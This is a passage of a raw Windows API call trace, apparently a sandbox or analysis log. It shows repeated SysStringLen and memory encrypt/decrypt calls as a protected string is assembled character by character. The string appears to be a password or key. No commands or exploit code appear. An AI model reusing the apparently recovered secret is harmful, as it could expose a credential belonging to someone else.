(param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x1f9e\x5e3b\x4fd1\xa84f\x3cc2\x6d9f\x56ce\x1661") returned 0x18 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x1f9e\x5e3b\x4fd1\xa84f\x3cc2\x6d9f\x56ce\x1661") returned 0x18 [0137.019] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0Wc䠂蝵钙炇") returned 0x18 [0137.020] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xf703\x3f9e\xa784\xe831\x93a4\xdba4\xf7d2\xbe29") returned 0x18 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xf703\x3f9e\xa784\xe831\x93a4\xdba4\xf7d2\xbe29") returned 0x18 [0137.020] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcD蝵钙炇") returned 0x18 [0137.020] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x3af5\x2714\x95ea\xc294\x9d1c\x2101\x7a9\xafb5") returned 0x18 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x3af5\x2714\x95ea\xc294\x9d1c\x2101\x7a9\xafb5") returned 0x18 [0137.020] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDp钙炇") returned 0x18 [0137.020] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x3d3\xd665\xa82a\xde95\x34ee\x6077\xdc3d\x438f") returned 0x18 [0137.020] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x3d3\xd665\xa82a\xde95\x34ee\x6077\xdc3d\x438f") returned 0x18 [0137.020] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.020] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpn炇") returned 0x18 [0137.020] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x4b5d\x21e3\xd0af\x9c7b\xa21\xe9e8\x9c72\x6a14") returned 0x18 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\x4b5d\x21e3\xd0af\x9c7b\xa21\xe9e8\x9c72\x6a14") returned 0x18 [0137.021] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.021] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnA") returned 0x18 [0137.021] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e") returned 0x18 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e") returned 0x18 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e") returned 0x18 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e") returned 0x20 [0137.021] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.021] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQ䁡꺌篦啩愃") returned 0x20 [0137.021] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\xa746\x34b\x4b44\xf651\xc87\x4ce6\x3db8\x4d8c") returned 0x20 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\xa746\x34b\x4b44\xf651\xc87\x4ce6\x3db8\x4d8c") returned 0x20 [0137.021] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.021] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQD꺌篦啩愃") returned 0x20 [0137.021] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\xdcf4\x3de\x5188\x87d8\x68a9\x98b7\x3fe\xbde3") returned 0x20 [0137.021] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\xdcf4\x3de\x5188\x87d8\x68a9\x98b7\x3fe\xbde3") returned 0x20 [0137.021] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDL꺌篦啩愃") returned 0x20 [0137.022] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x4567\x5a29\x42e7\x1e4\x5385\xbe8c\xc5f2\x4c36") returned 0x20 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x4567\x5a29\x42e7\x1e4\x5385\xbe8c\xc5f2\x4c36") returned 0x20 [0137.022] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo篦啩愃") returned 0x20 [0137.022] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x8433\xb7aa\xa67a\xe69e\x29f8\x8521\x7e1a\xb429") returned 0x20 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x8433\xb7aa\xa67a\xe69e\x29f8\x8521\x7e1a\xb429") returned 0x20 [0137.022] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9啩愃") returned 0x20 [0137.022] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x7148\x82a6\x5b1d\x698\x2c39\x49d4\x7d58\xa65") returned 0x20 [0137.022] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x7148\x82a6\x5b1d\x698\x2c39\x49d4\x7d58\xa65") returned 0x20 [0137.022] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.022] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9l愃") returned 0x20 [0137.022] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x3cdd\xffae\x6e72\xe9e9\x6679\x82f2\xd896\xbe30") returned 0x20 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x3cdd\xffae\x6e72\xe9e9\x6679\x82f2\xd896\xbe30") returned 0x20 [0137.023] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.023] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9ls") returned 0x20 [0137.023] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x41d9\xa430\x99f4\x34f9\xc6f2\x1ded\xad23\xc662") returned 0x20 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x41d9\xa430\x99f4\x34f9\xc6f2\x1ded\xad23\xc662") returned 0x20 [0137.023] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.023] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsX") returned 0x20 [0137.023] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297") returned 0x20 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297") returned 0x20 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297") returned 0x20 [0137.023] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297") returned 0x28 [0137.023] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.023] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXC晍뼞臈ꃲ녍⺊鉄") returned 0x28 [0137.023] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xdf00\xb06c\x9c63\x2cdb\x66ae\x5d80\xb1cc\x597e") returned 0x28 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xdf00\xb06c\x9c63\x2cdb\x66ae\x5d80\xb1cc\x597e") returned 0x28 [0137.024] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQ뼞臈ꃲ녍⺊鉄") returned 0x28 [0137.024] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xe1d6\x16cd\xe8bd\x7036\x7c9f\x9e80\xa3e5\xed97") returned 0x28 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xe1d6\x16cd\xe8bd\x7036\x7c9f\x9e80\xa3e5\xed97") returned 0x28 [0137.024] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQd臈ꃲ녍⺊鉄") returned 0x28 [0137.024] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xc806\x9983\x6473\x2f6e\x1e2d\xcba6\x6649\xfce") returned 0x28 [0137.024] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xc806\x9983\x6473\x2f6e\x1e2d\xcba6\x6649\xfce") returned 0x28 [0137.024] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.024] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpꃲ녍⺊鉄") returned 0x28 [0137.024] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x50\xf117\x6993\x7f73\x5dc4\xde28\xd9eb\xb4ac") returned 0x28 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x50\xf117\x6993\x7f73\x5dc4\xde28\xd9eb\xb4ac") returned 0x28 [0137.025] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpD녍⺊鉄") returned 0x28 [0137.025] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x260b\xc42d\x2ebb\xe52e\x8518\xfd9e\xa640\xce3e") returned 0x28 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x260b\xc42d\x2ebb\xe52e\x8518\xfd9e\xa640\xce3e") returned 0x28 [0137.025] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDi⺊鉄") returned 0x28 [0137.025] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x2a3a\x28a2\x8fba\xf7ca\xa173\x886d\x47ff\x679c") returned 0x28 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\x2a3a\x28a2\x8fba\xf7ca\xa173\x886d\x47ff\x679c") returned 0x28 [0137.025] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiP鉄") returned 0x28 [0137.025] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.025] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xc468\x9c5f\x2ffe\xd26e\xac18\x5e9\xbbb4\x35") returned 0x28 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xc468\x9c5f\x2ffe\xd26e\xac18\x5e9\xbbb4\x35") returned 0x28 [0137.026] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.026] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiPM") returned 0x28 [0137.026] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915") returned 0x28 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915") returned 0x28 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915") returned 0x28 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0137.026] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.026] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiPM7ā饐௢髂笃") returned 0x30 [0137.026] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x61ed\xe4a3\x8578\xb1c7\x5a55\x8256\xf0ff\x5fd1") returned 0x30 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x61ed\xe4a3\x8578\xb1c7\x5a55\x8256\xf0ff\x5fd1") returned 0x30 [0137.026] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.026] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiPM7N饐௢髂笃") returned 0x30 [0137.026] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.026] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x2ae0\x9720\x5865\x74f3\x1072\x8917\x6762\xa2b9") returned 0x30 [0137.027] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\x2ae0\x9720\x5865\x74f3\x1072\x8917\x6762\xa2b9") returned 0x30 [0137.027] SystemFunction041 (in: Memory=0x8e30a1c, 